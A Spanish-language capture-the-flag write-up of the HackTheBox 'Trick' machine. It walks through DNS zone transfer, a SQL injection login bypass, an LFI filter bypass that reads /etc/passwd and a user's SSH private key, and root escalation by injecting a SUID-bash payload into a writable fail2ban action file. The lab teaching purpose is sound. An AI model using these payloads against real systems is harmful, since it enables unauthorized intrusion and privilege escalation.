HackTheBox - Trick


Creado
HackTheBox - Trick

Máquina Linux nivel fácil. Transferencias bancarias en X zona con DNS, inyecciones SQL, bypass de filtros para leer archivos del sistema yyyy buenos tratos 🤝 baneos a cambio de RCE con fail2ban.

TL;DR (Spanish writeup)

Creada por: Geiseric.

Bypass para mi corazoncito.

De primeritas nos moveremos entre zonas del servicio DNS para encontrar dominios, exploraremos una sencilla inyección SQL para bypassear logins y encontrar credenciales no útiles.

Fuzzearemos subdominios para llegar a un nuevo servicio, en él encontraremos una vulnerabilidad para leer archivos del sistema (LFI) bypasseando un pequeño filtro, usando esta vuln obtendremos la llave privada del usuario michael, con ella obtendremos una sesión con SSH en el sistema.

Michael tendrá acceso a interactuar con las acciones llevadas a cabo por el servicio fail2ban que ejecuta root, las exploraremos para intercambiar baneos por ejecución remota de comandos como el usuario root.

Clasificación de la máquina según la gentesita

Vulnerabilidades mayormente reales, pero no juntas. Mucha enumeración.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Tú.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Inicialmente veamos que puertos (servicios) tiene activos la máquina, esto nos indicara posibles puntos de partida para enumerar, usaré nmap:

nmap -p- --open -v 10.10.11.166 -oG initScan
Parámetro Descripción
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

El escaneo nos responde con estos puertos:

Puerto Descripción
22 SSH: Permite obtener una Shell (terminal) de manera segura.
25 SMTP: Protocolo para la comunicación por correo electrónico.
53 DNS: Funciona como un diccionario, donde la idea es resolver el contenido de una dirección IP contra un dominio.
80 HTTP: Nos brinda un servidor web.

Ya con los puertos/servicios podemos apoyarnos nuevamente de nmap, esta vez para indicarle dos cosas: que nos intente mostrar la versión del servicio y que juegue con sus scripts a ver si logra encontrar algo más:

~~~~~ (Usando la función (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.166
    [*] Open ports: 22,25,53,80

[*] Ports copied to clipboard

) ~~~~~

nmap -p 22,25,53,80 -sC -sV 10.10.11.166 -oN portScan
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Encontramos cositas llamativas:

Puerto Servicio Versión
22 SSH OpenSSH 7.9p1 Debian 10+deb10u2
25 SMTP Postfix
53 DNS ISC BIND 9.11.5-P4-5.1+deb10u7
80 HTTP nginx 1.14.2
  • Además nos reporta un hostname: debian.localdomain.

Contamos con pocas cosas, pero nos sirven para empezar a probar cositas, así que a darle!

Enumeración #

Siempre que exista un puerto 80 es interesante empezar por él, ya que podríamos descubrir dominios, código fuente interesante, errores, etc. veámoslo:

Una página que está en desarrollo y nos permite colocar una dirección de correo para que nos lleguen updates… Esto tiene sentido si recordamos que existe el puerto 25 (SMTP) en la máquina, pero después de algunas pruebas notamos que ni siquiera se genera la petición web al colocar el mail.

Requisando cada detalle de la web, código fuente, posibles archivos “escondidos” o fuera de nuestra vista (fuzzing), headers y otras cositas, no llegamos a ningún lado, la web no está siendo de ayuda, así que movámonos a los demás puertos.

En internet no encontramos info relevante sobre la versión de SSH, por lo que sigamos con el puerto 25 SMTP.

✉️ “El protocolo para transferencia simple de correo (SMTP) es un protocolo de red utilizado para el intercambio de mensajes de correo electrónico entre computadoras u otros dispositivos.” ~ Wikipedia.

Si queremos conectarnos al servidor podemos emplear (en este caso) dos herramientas: telnet y nc, yo usaré nc:

nc 10.10.11.166 25

Con EHLO saludamos al servidor, si todo va bien nos debe devolver los comandos disponibles a ejecutar (como vemos ahí en la imagen).

Después de probar algunas cositas y apoyados en esta guía tenemos dos maneras de validar la existencia de direcciones de correo en el servidor:

  • VRFY.

    Simplemente, le pasamos la dirección de correo o incluso el nombre del destinatario, el servidor nos indicará si existe y es válido:

    VRFY lanz@trick.htb
    454 4.7.1 <lanz@trick.htb>: Relay access denied
    VRFY lanz
    550 5.1.1 <lanz>: Recipient address rejected: User unknown in local recipient table
    VRFY lanz@debian.localdomain
    550 5.1.1 <lanz@debian.localdomain>: Recipient address rejected: User unknown in local recipient table
    

    Con el dominio debian.localdomain (el que obtuvimos de nmap) la respuesta es la buena, pero como vemos lanz no es válido de ninguna manera…

    Probando otros usuarios random, llegamos a root para obtener esta respuesta:

    VRFY root
    252 2.0.0 root
    VRFY root@debian.localdomain
    252 2.0.0 root@debian.localdomain
    

    No obtenemos User unknown, así que es válido, pero si quieres terminar de verificarlo:

  • Enviando un correo donde el destinatario sea el que estamos descubriendo.

    Jugamos con MAIL FROM y RCPT TO:

    MAIL FROM: lanz
    250 2.1.0 Ok
    RCPT TO: lanz
    550 5.1.1 <lanz>: Recipient address rejected: User unknown in local recipient table
    RCPT TO: root
    250 2.1.5 Ok
    

    La dirección lanz no la acepta, peeeero root si, por lo que quedo validísimo.

La vaina es que de poco nos sirve esto para la máquina (pero si como conocimiento), ya que jugando y jugando no logramos tampoco nada favorable, así queeeee.

Dándole vueltas al puerto 53 (DNS) 📌

Con ayuda de esta guía y de la herramienta dig tenemos acceso al servicio DNS que corre sobre el puerto 53:

🗣️ “El DNS traduce los nombres de dominio a direcciones IP para que los navegadores puedan cargar los recursos de Internet.” ~ cloudflare.

Donde un nombre de dominio puede ser sisisi.com y una direccion IP 10.10.10.10.

Si intentamos recolectar cualquier información con respecto al dominio trick.htb y su dirección IP 10.10.11.166, obtenemos:

dig @10.10.11.166 trick.htb ANY
...
;; ANSWER SECTION:
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
...

Nada relevante por ahora. Si seguimos indagando y probando vamos a llegar a una parte llamada transferencia de zona:

🌐 Mediante una transferencia de zona “se llega a recolectar información de una red corporativa, exponiendo en ocasiones sus direcciones IP internas, servidores y equipos.” Además “se usa para sincronizar y actualizar datos de la zona cuando se produjeron cambios.” ~ welivesecurity.

La forma de indicárselo con dig es mediante el argumento axfr, intentemos:

dig @10.10.11.166 trick.htb AXFR
...
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
...

¿Notas algo? Sip, encontramos un subdominio internooooo :D

  • preprod-payroll.trick.htb

Si intentamos la petición en el navegador obtendremos un error, esto debido a que el sistema no entiende a que hace referencia ese dominio o a que resuelve, para hacérselo saber tenemos que modificar el archivo /etc/hosts indicando lo visto en la definición de DNS, que resuelva el contenido de preprod-payroll.trick.htb con respecto a la dirección IP 10.10.11.166:

❱ cat /etc/hosts
...
10.10.11.166  preprod-payroll.trick.htb
...

Y si ahora probamos:

Tenemos respuesta y en ella un login-panel (:

Explotación #

Jugando con credenciales random no logramos saltar el login, peeeero con inyecciones sip 🤗

Bypass al login con inyección SQL 📌

Ingresando este payload en los dos campos (username y password):

hola' or '1'='1

Realmente el que tiene la vulnerabilidad es el campo password.

Podríamos pensar que la petición al servidor SQL llega algo así:

SELECT username FROM users WHERE username=... AND password='hola' or '1'='1'

Entonces, al no validar correctamente el input la lógica que hay detrás del payload se cumple: la password no es hola, pero '1' si es igual a '1', logrando así el bypass y un SQL injection.

💉 “SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database.” ~ PortSwigger.

Somos administradores, pos a ver que podemos hacer o encontrar…

Si nos fijamos a la izquierda existe un apartado Users, damos clic y está la info de Administrator entre ella su contraseña (le modifique el type del HTML para verla en texto plano):

Opa, pues contamos con dos cositas, Enemigosss y SuperGucciRainbowCake, podríamos hacer reutilización de contraseñas contra SSH a ver si son válidas:

❱ ssh Enemigosss@10.10.11.166
Enemigosss@10.10.11.166's password: 
Permission denied, please try again.

Pero no, no lo son.

Acá me quedé un rato dando vueltas, jugando con bruteforce contra otros usuarios, modificando cosas en la web, etc. pero nada fue favorable.

Paré, respiré, miré mis notas y me fijé en el subdominio en el que estamos trabajando:

preprod-payroll.trick.htb

Tiene algo llamativo, el preprod debe hacer referencia a un entorno antes de producción (o sea, antes de que sea subido al público) y payroll es el producto/servicio/aplicativo que brindan, por lo que ¿y si existen más <servicios> en “preprod”?

Hagamos un descubrimiento (fuzzing) de subdominios para salir de esta duda, emplearé ffuf:

ffuf -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.166 -H 'Host: preprod-FUZZ.trick.htb'
  • -c, para que sea colorido.
  • -w, le pasamos la lista de palabras a probar.
  • -u, el sitio host (al ser fuzz de subdominio debe ser la dirección IP para la resolución (recuerda lo de DNS)).
  • -H, Header (Usaremos el header Host)

Lo que hará es sencillo, el header Host le indica al servidor que Virtual Host usar, por lo que podemos usarlo para descubrir esos virtual hosts. El programa toma la palabra de la lista y la reemplaza en FUZZ, hace la petición y si devuelve un 200 Ok como código de estado sabremos que existe otro subdominio que resuelve contra la dirección IP 10.10.11.166.

Lo ejecutamos y obtenemos muchos falsos positivos, todos tienen el mismo número de líneas: 84, así que indiquémosle a ffuf que nos quite esas respuestas con el parámetro -fl:

ffuf -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.166 -H 'Host: preprod-FUZZ.trick.htb' -fl 84

EFECTIVAMENTE! Encontramos un nuevo subdominio preprod-marketing.trick.htb 🤭 lo agregamos al /etc/hosts y en la web:

Un sitio de negociooooooos! Full business mi brother, investiguémoslo.

Leemos archivos del sistema con un LFI 📌

Si hacemos clic en SERVICES, ABOUT o CONTACT notamos algo curioso en la URL:

http://preprod-marketing.trick.htb/index.php?page=services.html

Usa el parámetro page para extraer de un archivo (del sistema) el contenido a mostrar, esto es llamativo por una sencilla razón, si está tomando archivos del sistema para ver contenido .html, ¿será que existe la posibilidad de leer cualquier archivo existente en el sistema y no solo .html?

Esa pregunta define un ataque bien lindo: la Inclusión Local de Archivos (Local File Inclusion (LFI)).

La idea es intentar “salirnos” del directorio a donde está apuntando el parámetro page para así leer otros objetos, unas pruebas iniciales pueden ser:

http://preprod-marketing.trick.htb/index.php?page=../../../../../../etc/passwd
http://preprod-marketing.trick.htb/index.php?page=/../../../../../../etc/passwd
http://preprod-marketing.trick.htb/index.php?page=/etc/passwd

Esto para obtener el contenido del /etc/passwd que es el que contiene información de los usuarios del sistema.

Al probarlos obtenemos una página en blanco que no nos indica nada, podemos pensar que quizás el backend tiene este ataque contemplado y lo han intentado validar quitando la cadena ../ del contenido enviado en el parámetro, por lo que podríamos intentar bypassear ese filtro de esta manera (si es que la validación se hace una sola vez):

  • Envío esto:

    http://preprod-marketing.trick.htb/index.php?page=/../../../../../../etc/passwd
    
  • Me quitaría los ../ y quedaría así:

    http://preprod-marketing.trick.htb/index.php?page=/etc/passwd
    
  • Pues podemos jugar con este payload para que le quite los ../:

    http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././etc/passwd
    
  • Lo que devolvería al quitarlos:

    http://preprod-marketing.trick.htb/index.php?page=../../../../../../etc/passwd
    
  • Por lo que habríamos bypasseado el filtro!

Pos enviémoslo:

Y en la respuesta:

PERFECTOOOOOO, aunque se ve horrible, si hacemos CTRL^U ya vemos el contenido formateado:

Tenemos un LFI con un bypass sencillito, pero agradable (: Tomemos notas de los usuarios existentes con posibilidad de una Shell interactiva (sh/bash):

  • root.
  • michael.

Pues jugando de nuevo con la reutilización de credenciales, pero ahora contra michael no logramos tampoco una Shell, lo bueno de esto (si es que tenemos acceso, claro está) es que quizás él tenga en su directorio /home la carpeta .ssh/ y dentro alguna llave privada (id_rsa) (y una pública (id_rsa.pub)), la cual puede actuar como una contraseña contra SSH:

🔐 “La clave pública se instala en cualquier servidor y luego se desbloquea mediante la conexión con un cliente SSH que hace uso de la clave privada. Si las dos claves coinciden, el servidor SSH permite el acceso sin necesidad de utilizar una contraseña.” ~ Stackstable.

Nuestro payload sería este:

http://preprod-marketing.trick.htb/index.php?page=..././..././..././..././..././..././home/michael/.ssh/id_rsa

Y su respuesta:

Me gusta, al parecer michael es el que está corriendo el servicio web y, por lo tanto, tenemos acceso a sus carpetas (:

Copiamos el contenido de la llave, lo guardamos en nuestro sistema dentro de un archivo, le damos los permisos necesarios y probamos con SSH autenticarnos como michael usando la llave:

❱ cat michael.id_rsa 
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
chmod 600 michael.id_rsa
ssh michael@10.10.11.166 -i michael.id_rsa

YYYYYYY:

Estamos en el sistema como el usuario michael 😏 A escalar esta vuelta.

Realicé este script para leerlos cómodamente: bypass_lfi.py

Escalada de privilegios #

Si revisamos los grupos y permisos que tenemos, hay cositas interesantes:

michael@trick:~$ id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)
michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

Estamos en el grupo security y además podemos ejecutar como root y sin usar una contraseña el binario /etc/init.d/fail2ban y su opción restart. Antes de meternos con esto, veamos que existe en el sistema asociado al grupo y si tiene que ver con este permiso:

find / -group security 2>/dev/null

Una carpeta también relacionada con fail2ban, veamos qué permisos tiene el grupo contra la carpeta:

michael@trick:~$ ls -al /etc/fail2ban/
...
drwxrwx---   2 root security  4096 Aug  8 17:00 action.d
...

Lectura (r), escritura (w) y ejecución (x), la combi completa, así que veamos ahora si de que trata fail2ban:

🚫 “Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs (too many password failures, seeking for exploits, etc.)” ~ fail2ban.

Listones, un baneador de IPs por si hay cositas raras… Tenemos la habilidad de reiniciar el servicio como el usuario root, jmmmm, busquemos ahora de que trata esa carpeta y que se aloja ahí.

Apoyados en esta guía fabulosa de DigitalOcean explicando como funciona fail2ban:

Encontramos el uso de la carpeta action.d.

Acciones algo llamativas 📌

Existe un objeto principal el cual contiene la configuración global de los baneos, reside en /etc/fail2ban/jail.conf, validemos si existe:

michael@trick:~$ ls -al /etc/fail2ban/
...
-rw-r--r--   1 root root     22908 Aug  8 17:00 jail.conf
...

(: En ese objeto hay una sección donde está seteado lo que hará por default:

...
[DEFAULT]
...
bantime  = 10s
maxretry = 5
...
#
# ACTIONS
#
...
# Some options used for actions
destemail = root@localhost
sender = root@<fq-hostname>
mta = sendmail
protocol = tcp
chain = <known/chain>
banaction = iptables-multiport
...

Vemos dos opciones importantes al inicio, el usuario será baneado si hay 5 intentos sospechosos de actividad y lo estará por 10 segundos. Además, las acciones que tomara será enviar un mail a root@localhost y lo realmente llamativo, la acción que llevara a cabo al banear será iptables-multiport, pero ¿qué significa?

Uhhhh, banaction está definiendo que usara la acción iptables-multiport y esa acción está dentro de la carpeta a la que tenemos acceso (de escritura):

/etc/fail2ban/action.d/iptables-multiport.conf

Por lo que podemos modificar su contenidooooo y ahora tiene sentido el restart, ya que quizás haya que reiniciar el servicio para que tome las nuevas configuraciones que haremos en el objeto.

PERO, nos falta un detallito, ¿cómo hacemos que el contenido de DEFAULT sea ejecutado? O sea, ¿cómo hacemos que nos bloqueen al hacer 5 intentos extraños? ¿En qué?

Acá entran en juego las especificaciones de servicios, se encuentran como [<nombre_del_servicio>] notamos bastantes:

Esto da la opción de que cada servicio sobreescriba la configuración por [DEFAULT].

Si nos fijamos existe el servicio ssh (con el cual podemos interactuar):

[sshd]

# To use more aggressive sshd modes set filter parameter "mode" in jail.local:
# normal (default), ddos, extra or aggressive (combines all).
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details.
#mode   = normal
port    = ssh
logpath = %(sshd_log)s
backend = %(sshd_backend)s
bantime = 10s

Pueeeees concatenando todo tenemos: si generamos 5 intentos extraños contra el servicio SSH vamos a ser baneados por 10 segundos, peeeeero a su vez se va a ejecutar la acción iptables-multiport (ya que está definida que sea llamada por DEFAULT siempre en cualquier baneo) a la cual tenemos acceso de escritura en /etc/fail2ban/action.d/iptables-multiport.conf (al estar en el grupo security que tiene total permiso sobre la ruta /etc/fail2ban/action.d)!

Ojojojojoooopa, me gusta, pues a jugar.

Hagamos negocios, BAN x HACK ¿qué dices? 📌

Supongo que debemos ser rápidos para generar el baneo, por lo que emplearé la herramienta ssh-pass que permite en una sola línea colocar usuario y contraseña para autenticarnos contra SSH:

sshpass -p 'la_password_que_no_conocemos' ssh michael@10.10.11.166

Juntemos ese comando con un for que sea ejecutado 5 veces (pongamos 6 por si algo):

for i in $(seq 1 6); do sshpass -p 'la_password_que_no_conocemos' ssh michael@10.10.11.166; done

Ya teniendo esto listo, solo queda modificar el archivo /etc/fail2ban/action.d/iptables-multiport.conf, con los comandos traviesos.

Primero copiemos el binario /bin/bash a una carpeta propia (esto para no molestar a los demás usuarios al cambiar las propiedades del objeto /bin/bash del sistema) (ya explicaremos para que):

mkdir /tmp/test
cd /tmp/test
cp /bin/bash .

Veamos el objeto /etc/fail2ban/action.d/iptables-multiport.conf:

De él debemos tener en cuenta algo, al ser baneados va a llegar a la variable actionban y ejecutará esos comandos, así que ahí debe ir lo nuestro (:

La idea es asignar a root como owner del objeto (como michael lo copio, él queda como owner) y luego jugar con el permiso setuid para que el archivo obtenga los permisos del propietario al ser ejecutado (sin importar quien lo ejecute), que al final seria root.

🛎️ Nuestro payload seria:

chown root:root /tmp/test/bash; chmod 4755 /tmp/test/bash

🛎️ Modificamos el archivo /etc/fail2ban/action.d/iptables-multiport.conf ahora si:

🛎️ Validamos permisos actuales:

🛎️ Reiniciamos el servicio fail2ban para que tome la nueva configuración:

sudo /etc/init.d/fail2ban restart

🛎️ Hacemos que nos baneen (debemos correrlo 2 veces por si a la primera no funciona):

for i in $(seq 1 6); do sshpass -p 'la_password_que_no_conocemos' ssh michael@10.10.11.166; done

🛎️ Yyyyyy:

Liiiiistos, ya el objeto ha sido modificado, ejecutémoslo con el parámetro -p para que lo «ejecute» empleando el SUID, o sea que sea lanzada como el owner:

Y estaríamos finiquitaos! Ya somos root, me gusto bastante.

Veamos las flags…

michael@trick:/$ whoami
root

Recuerden que realmente seguimos siendo michael, pero la bash ha sido ejecutada como root.

Nos fui :*

Una máquina con movimientos bastante interesantes, muy enfocada en el público que empieza, me gusto bastante eso, hace rato, no había una tocando temas básicos pero fundamentales en todo este mundo.

Lo de las acciones me fascino al momento de descubrirlo, bien loquito :P Aunque tener esa configuración (alguien con esos permisos así como así… jaskldjfl) medio chistoso.

Meno, yo me largo a la parranda! ¡Nos leemos próximamente :* A seguir rompiendo de todo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus